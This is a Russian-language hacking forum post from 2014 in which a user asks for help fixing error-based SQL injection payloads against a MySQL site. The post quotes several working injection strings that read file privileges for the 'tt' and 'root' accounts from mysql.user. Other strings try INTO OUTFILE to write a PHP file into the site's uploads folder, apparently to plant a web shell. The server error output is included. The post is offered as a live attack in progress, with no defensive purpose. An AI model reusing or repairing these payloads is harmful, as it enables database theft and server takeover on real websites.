
31.07.2014, 14:06
|
|
Новичок
Регистрация: 03.08.2009
Сообщений: 23
Провел на форуме: 189651
Репутация:
-5
|
|
Добрый день!
Помогите с построением запроса
Сообщение от None
' and(select 1 from(select count(*),concat((select (select mid( concat(file_priv),1,100) from mysql.user where user='tt') ),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1
выводится нормально N у пользователя tt
Когда хочу вывести пользователя root
Сообщение от None
' and(select 1 from(select count(*),concat((select (select mid( concat(file_priv),1,100) from mysql.user where user='root') ),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1
выводится ошибка
Обнаружены слудующие ошибки: Subquery returns more than 1 row
Подскажите как правильно составить запрос для вывода нужной инфы.
------------
Так же пробовал сделать заливку файла через скуль - опять такие не нравится((
Сообщение от None
' and(select 1 from(select count(*),concat((select (select (select mid( concat(''),1,100) from mysql.user into outfile '/home/site.ru/uploads/s.php' limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1
Выводится ошибка:
Обнаружены слудующие ошибки: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `' at line 1
Сообщение от None
' and(select 1 from(select count(*),concat((select (select mid( concat(''),1,100) from mysql.user into outfile '/home/site.ru/uploads/s.php') ),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1
так выводится
Обнаружены слудующие ошибки: Subquery returns more than 1 row
|
|
|